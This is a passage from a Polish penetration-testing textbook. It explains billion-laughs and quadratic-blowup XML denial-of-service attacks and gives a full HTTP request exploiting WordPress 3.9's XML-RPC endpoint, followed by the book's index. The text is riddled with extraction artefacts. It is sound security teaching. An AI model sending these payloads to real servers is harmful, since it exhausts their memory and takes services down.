!ENTITY lol7 lol6; lol6; lol6; lol6; lol6; lol6; lol6; lol6; lol6; lol6;
!ENTITY lol8 lol7; lol7; lol7; lol7; lol7; lol7; lol7; lol7; lol7; lol7;
!ENTITY lol9 lol8; lol8; lol8; lol8; lol8; lol8; lol8; lol8; lol8; lol8;
]
lolz lol9; /lolz
Cho(cid:202) ten konkretny atak nie jest ju(cid:285) mo(cid:285)liwy do zrealizowania, stanowi podstaw(cid:218) dla ataku XML
do kwadratu.
Encja do kwadratu
Nowa wersja ataku zamienia zagnie(cid:285)d(cid:285)one odniesienia do encji na jedn(cid:200) du(cid:285)(cid:200) encj(cid:218) powtarzan(cid:200)
pó(cid:283)niej w dokumencie XML tysi(cid:200)ce razy. W efekcie analizator ponownie musi zarezerwowa(cid:202)
podobn(cid:200) ilo(cid:258)(cid:202) pami(cid:218)ci operacyjnej co przy ataku tysi(cid:200)ca u(cid:258)mieszków.
Typowy dokument XML wykorzystuj(cid:200)cy t(cid:218) sztuczk(cid:218) wygl(cid:200)da nast(cid:218)puj(cid:200)co:
?xml version= 1.0 ?
!DOCTYPE student [
!ENTITY x xxxxxxxxxxxxxxxxx... (50 000 - 100 000)
]
student x; x; x; x; x; x; x; x; x;... /student (50 000 - 100 000)
Zdefiniowany szablon encji posiada encj(cid:218) o d(cid:239)ugo(cid:258)ci kilkudziesi(cid:218)ciu kilobajtów, która nast(cid:218)pnie
w dokumencie XML zostaje powtórzona wiele tysi(cid:218)cy razy. Analizator zostaje zmuszony do
alokacji du(cid:285)ych ilo(cid:258)ci pami(cid:218)ci, co daje ten sam efekt co miliard u(cid:258)mieszków.
Przyk(cid:239)ad podatno(cid:258)ci na atak XML do kwadratu w WordPress 3.9
Chyba nie musz(cid:218) nikomu przedstawia(cid:202) platformy WordPress — jest to obecnie chyba najpo-
pularniejszy system do tworzenia blogów w internecie. Niestety, WordPress 3.9 i starszy by(cid:239)y
podatne na atak XML do kwadratu. Odkry(cid:239) to izraelski badacz Nir Goldshlager.
WordPress zawiera adres URL dzia(cid:239)aj(cid:200)cy jako ko(cid:241)cówka systemu XML-RPC, który przyjmuje
dane w postaci XML. Dane XML przetwarza analizator XML, co pozwala na opisywany wcze(cid:258)niej
atak. Bardzo (cid:239)atwo w ten sposób przekroczy(cid:202) dopuszczaln(cid:200) ilo(cid:258)(cid:202) pami(cid:218)ci przydzielon(cid:200) procesowi
179
Poleć książkęKup książkęTesty penetracyjne nowoczesnych serwisów
Apache, w obr(cid:218)bie którego dzia(cid:239)a analizator. Podatno(cid:258)(cid:202) bardzo (cid:239)atwo wykorzysta(cid:202) — wystar-
czy pos(cid:239)a(cid:202) dokument XML-RPC przygotowany w sposób przedstawiony powy(cid:285)ej. Pe(cid:239)ne (cid:285)(cid:200)-
danie HTTP ma posta(cid:202):
POST /wordpress/xmlrpc.php HTTP/1.1
Host: sandbox.prakharprasad.com
Connection: keep-alive
Content-Length: 220079
?xml version= 1.0 ?
!DOCTYPE DoS [
!ENTITY x xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx...
]
DoS x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x
; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x; x;
x; x; x; x; x; x; x; x; x; x;... /DoS
(cid:146)adunek XML wys(cid:239)any do ko(cid:241)cówki XML-RPC zawiera 1000 powtórze(cid:241) x jako encji x, która to
w elemencie DoS wyst(cid:218)puje w ilo(cid:258)ci 40 tysi(cid:218)cy. Wielokrotnie wysy(cid:239)aj(cid:200)c to samo (cid:285)(cid:200)danie do
serwera, zu(cid:285)yjemy ca(cid:239)(cid:200) dost(cid:218)pn(cid:200) pami(cid:218)(cid:202). Zu(cid:285)ycie pami(cid:218)ci RAM i CPU osi(cid:200)gn(cid:218)(cid:239)o maksimum,
co przedstawia poni(cid:285)szy rysunek:
Podobn(cid:200) podatno(cid:258)(cid:202) wykryto równie(cid:285) w platformie Drupal CMS. Na tym ko(cid:241)czymy opis ataków
z u(cid:285)yciem XML.
Podsumowanie
W tym rozdziale przedstawili(cid:258)my ró(cid:285)ne techniki wykorzystania analizatora XML lub innej us(cid:239)u-
gi, która korzysta z przetwarzania danych XML. Analizatory XML spotyka si(cid:218) obecnie w wielu
aplikacjach w postaci ko(cid:241)cówek API, us(cid:239)ug XML, a nawet plików przesy(cid:239)anych na serwer
poprzez formularz na stronie WWW. Wiele z tych systemów nie jest poprawnie skonfigurowa-
nych, co umo(cid:285)liwia zastosowanie ataków XXE. Testuj ataki XXE i DoS w kontrolowanym (cid:258)rodo-
wisku, a by(cid:202) mo(cid:285)e uda Ci si(cid:218) wykona(cid:202) zdalny kod na serwerach Facebooka, jak to mia(cid:239)o ju(cid:285)
miejsce w przesz(cid:239)o(cid:258)ci: http://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution.
W nast(cid:218)pnym rozdziale przedstawi(cid:218) kilka nowych wektorów ataku, takich jak wstrzykiwanie
obiektów PHP, RPO itp.
180
Poleć książkęKup książkęSkorowidz
A
Adobe Flash Player, 94
adres
e-mail, 38
IP, 50, 67
odwrócony, 50
URI, 172, 175, 214, 226, 237
format, 226
konwersja Base64, 174
URL, 42, 84, 123, 175
kodowanie, Patrz:
kodowanie URL
zniekszta(cid:239)canie, 219
AJAX, 20
analizator XML, 167, 175, 179
generyczny, 168
API
dokumentacja, 233
eksplorator, 232
niskopoziomowe, 65
REST, 225, 226, 227, 228,
229, 230, 231, 232
model zasobów, 226
zasób, 228
struktura, 232
uprawnienia, 235, 238
uwierzytelnianie, 230, 231
Apigee API console, 232
aplikacja
Burp Suite Proxy, 68
DVWA, 62
internetowa, 211
kliencka, 214
vBulletin, 70
atak
CSRF, Patrz: CSRF
DoS, Patrz: DoS
IDOR, Patrz: IDOR
podkradanie klikni(cid:218)(cid:202), 201,
204, 222
PRSSI, Patrz: RPO
RPO, Patrz: RPO
SSRF, Patrz: SSRF
XSS, Patrz: XSS
XXE, Patrz: XXE
autoryzacja, 211
atak, 219, 220, 222
trzecia strona, 212, 213, 215
upowa(cid:285)nienie
autoryzowane, 216
niejawne, 217
B
BeEF, 75
konfiguracja, 75
punkt zaczepienia, 76, 77, 80
zak(cid:239)adka
Commands, 78
IPec, 80
Logs, 78
Network, 80
Rider, 80
XssRays, 80
bezpiecze(cid:241)stwo, 17, 18
biblioteka Paperclip, 137
Burp Decoder, 174
Burp Suite, 118, 140, 231
Burp Suite Proxy, 68
C
CDM, 20
CeWL, 34, 41
Charles, 118
CORS, 21
nag(cid:239)ówek, 21, 22
(cid:285)(cid:200)danie, Patrz: (cid:285)(cid:200)danie
CORS
Cross-Domain Messaging, Patrz:
CSRF, 83, 84, 85, 90, 91, 96,
CDM
191
Facebook, 86
JSON, 89
PayPal, 87
zapobieganie, 86, 87
CSRFGuard, 87
D
debuger, 49
deserializacja, 206, 207, 208
Di Paola Stefano, 74
Digital Ocean, 64
DirBuster, 34, 42, 43
Poleć książkęKup książkęSkorowidz
Django, 188
DNSdumpster, 35, 50
DOM, 72, 74, 77, 194
przebijanie, 194, 195, 196
domena, 20, 21
DoS, 136, 156, 167
miliard u(cid:258)mieszków, 178
na analizator danych XML,
178, 179
przy u(cid:285)yciu obrazka, 137
XXE, 177
Dropbox, 92
API Explorer, 232
DVWA, 127, 128
element
div, 202
iframe, 201, 204
e-mail, 186
exploit, 58
E
F
Facebook, 57, 86, 211, 213, 221
AppCenter, 91
Graph API, 231, 232
testowanie, 237
uprawnienia, 235
Graph API Explorer, 232
(cid:239)(cid:200)cze nieopublikowane, 241
rola, 235, 236, 240
Facebook Studio, 61
Fierce, 34, 35, 37
filtr XSS, 28
Flipkart, 190
format
sp(cid:239)aszczony, 168
XML, Patrz: plik XML
formularz samowysy(cid:239)aj(cid:200)cy si(cid:218),
89, 91
funkcja, Patrz te(cid:285): metoda
__construct, 206
__destruct, 206
__sleep, 206
__wakeup, 206
console.log, 73
244
crypto.generateCRMF
(cid:180)Request, 74
document.write, 73, 74
element.add, 75
element.after, 75
element.append, 75
element.before, 75
element.html, 75
element.prepend, 75
element.replaceWith, 75
element.wrap, 75
element.wrapAll, 75
eval, 74
execScript, 74
ExternalInterface.call, 70
parametry, 70, 71
Function, 74
getimagesize, 143
magiczna, 206
ScriptElement.innerText, 74
ScriptElement.src, 74
ScriptElement.text, 74
ScriptElement.textContent,
74
serialize, 205
setImmediate, 74
setInterval, 74
setTimeout, 74
unserialize, 204, 206, 207
G
Gist, 195
Gmail, 204
Goldshlager Nir, 34
Google, 211
API Console, 232
wyszukiwarka
dyrektywa, 52, 53, 55
Google Advanced Search, 35
Google+, 213
Gruber John, 64
H
HackerOne, 191
Hansen Robert (RSnake), 35
has(cid:239)o domy(cid:258)lne, 50
Heyes Gareth, 196
Hivarekar Pranav, 223
HTTP
nag(cid:239)ówek, 229
Content-Type, 229, 230
uwierzytelnianie, 230
I
IDOR, 188, 189, 241
Flipkart, 190
HackerOne, 191, 193
IE, 19, 199
informacji zbieranie, 33
technika aktywna, 34, 35,
38, 39, 41, 42, 44
technika pasywna, 34, 35,
38, 46, 48, 50, 52
Instagram, 222
interfejs u(cid:285)ytkownika, 201
podmiana, 201, 204, 222
Intruder, 231
J
j(cid:218)zyk PHP, 129, 131, 161
JSON, 88, 89, 90
JWT, 231
K
Karlsson Mathias, 96, 195
kod JavaScript, 58
kodowanie
Base64, 28, 29, 30, 174, 230
procentowe, 24, 221
podwójne, 26, 28, 221
potrójne, 28
komunikacja mi(cid:218)dzydomenowa,
URL, 24
20, 21, 23
konwerter Markdown, Patrz:
Markdown
ksi(cid:218)ga go(cid:258)ci, 62
Poleć książkęKup książkęLFI, 26, 34
LinkedIn, 220
lista
adresów IP, 50
serwerów, Patrz: serwer lista
s(cid:239)ów, 41
kluczowych, 38
subdomen, Patrz:
subdomena lista
L
(cid:146)
(cid:239)adunek, 164
ca(cid:239)o(cid:258)ciowy, 150
dwuetapowy, 150, 151
lista, 151
nas(cid:239)uchuj(cid:200)cy po(cid:239)(cid:200)cze(cid:241), 163
pobierz i wykonaj, 150
tworzenie, 161, 164
VNC, 150
wykonanie, 162
(cid:239)(cid:200)cze klikalne, 64
M
MailChimp, 186, 221
Maltego, 34, 44
Markdown, 64
maszyna footprinting, 45
Metasploit, 149
konsola, 151
(cid:239)adunek, Patrz: (cid:239)adunek
modu(cid:239), 149, 151
brute_dirs, 154
dir_scanner, 155
do w(cid:239)ama(cid:241), 150
enkodera, 150
files_dir, 156
IPv6, 150
(cid:239)adunku, 150
ms08_067_netapi, 150
mysql_enum, 150
pomocniczy, 150, 153
pow(cid:239)oka, 161
WMAP, Patrz: WMAP
Meterpreter, 150, 151
metoda, Patrz te(cid:285): funkcja
chat.postMessage, 65
getElementById, 196
getElementsByTagName, 195
magiczna, 208
postMessage, 20
removeEventListener, 196
s(cid:239)ownikowa, 37, 42
MSF, Patrz: Metasploit
Msfconsole, 151
polecenie, 151, 153
msfvenom, 161
show options, 154
MySpace, 57, 62
N
nag(cid:239)ówek
CORS, Patrz: CORS
nag(cid:239)ówek
odpowiedzi, 22
X-Forwarded-For, 67, 68
X-Requested-With, 95, 96
Naik Amol, 91
Netcat, 133
O
OAuth, 211, 223
aplikacja kliencka, 212, 213,
214
przekierowanie, 222
domena
przyrostek, 221
zmiana, 221
rola, 212
serwer
autoryzacji, 212, 214
zasobu, 212, 213
trzecia strona, 212, 213, 215
w(cid:239)a(cid:258)ciciel zasobu, 212, 213
zagro(cid:285)enia, 219, 220, 221, 222
zakres, 213
zmiana folderów, 221
DOM, 72, 74, 77
PHP wstrzykiwanie, Patrz:
POI
XMLHttpRequest, 20, 95
obiekt
Skorowidz
OSINT, 44
P
PayPal, 57, 87, 88
Pentest-Tools, 35, 52
Peterv, 44
phishing, 39, 114, 219
plik
.htaccess, 141, 142
cookie, 60, 118
HttpOnly, 58, 71
kradzie(cid:285), 58, 63
sesyjny, 231
CSS, 196, 197
dziennika, 207
Flash, 70, 71, 92, 93, 95, 96,
134
GIF jako skrypt PHP, 141
graficzny, 196
weryfikacja, 143
import, 196, 197
JPEG, 137
jako skrypt PHP, 141
weryfikacja, 143, 144
JSP, 130
PDF zaindeksowany, 53
PNG zTXT, 137
przesy(cid:239)anie, 127, 128, 134
zabezpieczenia, 138
rozszerzenie, 138, 141
sp(cid:239)aszczony, 168
SVG, 136
SWF, Patrz: plik Flash
zamiana na ActionScript,
70
systemowy, 173
(cid:258)cie(cid:285)ka
bezwzgl(cid:218)dna, 197
wzgl(cid:218)dna, 196, 197
typ MIME, 140, 143
uploader.swf, 70
XML, 136, 167, 168, 174
analizator, Patrz:
analizator XML
atrybut, 169
element, 168
encja, 170, 171
encja wewn(cid:218)trzna, 171
245
Poleć książkęKup książkęSkorowidz
plik
encja zewn(cid:218)trzna, 171, 172
korze(cid:241), 168
preambu(cid:239)a, 168
sprawdzanie poprawno(cid:258)ci,
169, 170
XML DTD, 169
wewn(cid:218)trzny, 169
zewn(cid:218)trzny, 170
pochodzenie, 18
wyj(cid:200)tki, 19
zmiana miejsca, 19
POI, 204, 207, 208
polecenie
dig, 36
exec, 129
INSERT, 119
nslookup, 36
passthru, 129
pcntl_exec, 129
popen, 129
pow(cid:239)oki, 129
proc_open, 129
shell_exec, 129
system, 129
UPDATE, 119
pow(cid:239)oka
b374K, 131, 132, 133
C99/R57, 131
Linux Meterpreter, 165
Metasploit, Patrz: Metasploit
pow(cid:239)oka
Meterpreter, 162, 165
odwrotna, 133, 134, 150
polecenie, Patrz: polecenie
pow(cid:239)oki
SQL, 119
interaktywna, 120
systemowa, 133
serwera WWW, 208
wielofunkcyjna, 131
pre-flight request, Patrz: (cid:285)(cid:200)danie
wst(cid:218)pnego sprawdzenia
protokó(cid:239), 185
dict, 186
expect, 186
file, 186
ftp, 186
gopher, 186
http, 186
246
HTTP, 227
kod odpowiedzi, 228, 229
nag(cid:239)ówek, 229
uwierzytelnianie, 230
https, 186
imap, 186
javascript, 59
ldap, 186
mailto, 186
OAuth, 211
ogg, 186
pop3, 186
smtp, 186
telnet, 186
tftp, 186
przegl(cid:200)darka
atak, 83
Internet Explorer, Patrz: IE
lista zdarze(cid:241), 78
przej(cid:218)cie sesji, 75, 78, 80
uruchamianie modu(cid:239)ów
atakuj(cid:200)cego, 78
wysy(cid:239)anie (cid:285)(cid:200)da(cid:241) HTTP, 80
przekierowanie 307, 96
punkt zaczepienia, 76, 77, 80
R
Rails, 188
Repeater, 231
REST, 225
Reverse IP Lookup using
YouGetSignal, 35
RFI, 26
robak Samy, 62
Rogers Jake, 121
Rosetta Flash, 94, 95
router
has(cid:239)o, 50
WiFi, 201
ZTE OX253P, 49
RPO, 196, 200
S
Safari, 96
sekret klienta, 215
serializacja, 205, 206
serwer
Apache, 141, 142, 156
autoryzacji, 214, 217
b(cid:239)(cid:200)d, 219, 220, 222
LAMP, 161
lista, 37
MySQL, 150
po(cid:258)rednicz(cid:200)cy, 124, 140
skanowanie portów, 183, 184
wspó(cid:239)dzielony, 50
WWW jako po(cid:258)rednik, 181
zdalne wykonanie kodu, 176
Shodan, 35, 48
kryteria, 48
skrypt
modyfikuj(cid:200)cy, 121, 123
PHP SetHandler, 142
Slack, 65, 69, 211, 222
s(cid:239)owo kluczowe
download, 38
hidden, 38
random, 38
sandbox, 38
test, 38
Smith Garrett, 194
SOP, 17, 18, 20, 21
Sothink SWF Decompiler, 70
SQL pow(cid:239)oka, Patrz: pow(cid:239)oka
SQL
SQLMap, 97, 99, 101
instalacja, 98
optymalizacja, 109
plik systemowy
odczyt, 111, 112
zapis, 111, 113, 114
pobranie wszystkich danych,
106
po(cid:239)(cid:200)czenie
HTTP trwa(cid:239)e, 108
NULL, 108
pow(cid:239)oka SQL, 119, 120
przewidywanie danych
wyj(cid:258)ciowych, 108
tryb kreatora, 105
wielow(cid:200)tkowo(cid:258)(cid:202), 107
ssh2, 186
SSLStrip, 72
SSRF, 175, 181, 182
MailChimp, 187
skanowanie portów, 183, 184
Poleć książkęKup książkęstrona podmiana zawarto(cid:258)ci, 58
SubBrute, 34, 39
subdomena, 38, 39
liczba dziennych odwiedzin,
48
lista, 36, 46, 50
T
Tamper Data, 140
theHarvester, 34, 38
token, 86, 90, 94, 188
CSRF, 191
dost(cid:218)powy, 214, 215, 217, 231
kradzie(cid:285), 220
przekierowanie, 222
odgadywanie, 91
s(cid:239)aby, 91
walidacja, 91
wstrzykiwanie, 91, 92
transfer strefy, 36, 37
Twitter, 60
U
u(cid:285)ytkownik
autoryzacja, Patrz: autoryzacja
dane, 213
has(cid:239)o, 99, 103, 104, 173, 230
interfejs, Patrz: interfejs
u(cid:285)ytkownika
nazwa, 99, 103, 104, 115,
173, 230
token dost(cid:218)powy, 215
uprawnienia, 112, 173, 188,
189, 191, 193
uwierzytelnienie, 118
VHosts, 52
Vimeo, 96
V
W
WAF, 121
WAMP
atak, 159
skanowanie, 158, 159
uruchamianie, 158
w(cid:200)tek wykonawczy, 38
WhatWeb, 34, 44
Whitton Jack, 62
WMAP, 157, 159
Wolfram Alpha, 35, 46
WordPress, 55, 179
wstrzykni(cid:218)cie
CSS, 198, 199
kodu SQL, 28, 97, 100, 101
do stron wymagaj(cid:200)cych
logowania, 118
modyfikacja adresów
URL, 106
na (cid:258)lepo, 110
skrypt modyfikuj(cid:200)cy, 121,
123
technika czasowa, 109, 110
techniki, 102, 109, 110
wykorzystywanie b(cid:239)(cid:218)du,
102, 109
obiektu PHP, Patrz: POI
pliku
lokalne, Patrz: LFI
zdalne, Patrz: RFI
X
X-Forwarded-For-Header, 68
XSS, 57, 60, 62, 64, 65, 70, 75,
134, 198, 199
adres IP, 67
API, 64
bazuj(cid:200)cy na obiektach DOM,
72, 74, 77
Flash, 70
Markdown, 64
odbity, 57, 58, 59, 60
token CSFR, 90
utrwalony, Patrz: XSS
zapisany
zapisany, 57, 62, 64, 67
XXE, 172, 173, 177
DoS, 177
Skorowidz
Z
zabezpieczenie CSRF,
Patrz: CSRF
zapytanie
SELECT, 119
stos, 119
zasada tego samego
pochodzenia, Patrz: SOP
znacznik
HttpOnly, 71, 72
Secure, 72
znak
, 171
, 171
, 171
/, 24
, 24, 170, 171
, 170, 171
niezastrze(cid:285)ony, 24
kodowanie, 25
221
specjalny, 170, 171
zastrze(cid:285)ony, 24
kodowanie, 25
przej(cid:258)cia do nowego wiersza,
(cid:191)
(cid:285)(cid:200)danie
CORS, 23
DELETE, 228, 237
GET, 84, 114, 130, 228, 234,
237
HEAD, 228
JSON, 89
OPTIONS, 228
POST, 84, 85, 89, 90, 96,
115, 117, 228, 237
proste, 23
PUT, 228
typ, 228
wst(cid:218)pnego sprawdzenia, 23
Y
YouGetSignal, 50
247
Poleć książkęKup książkęSkorowidz
248
Poleć książkęKup książkę
Pobierz darmowy fragment (pdf)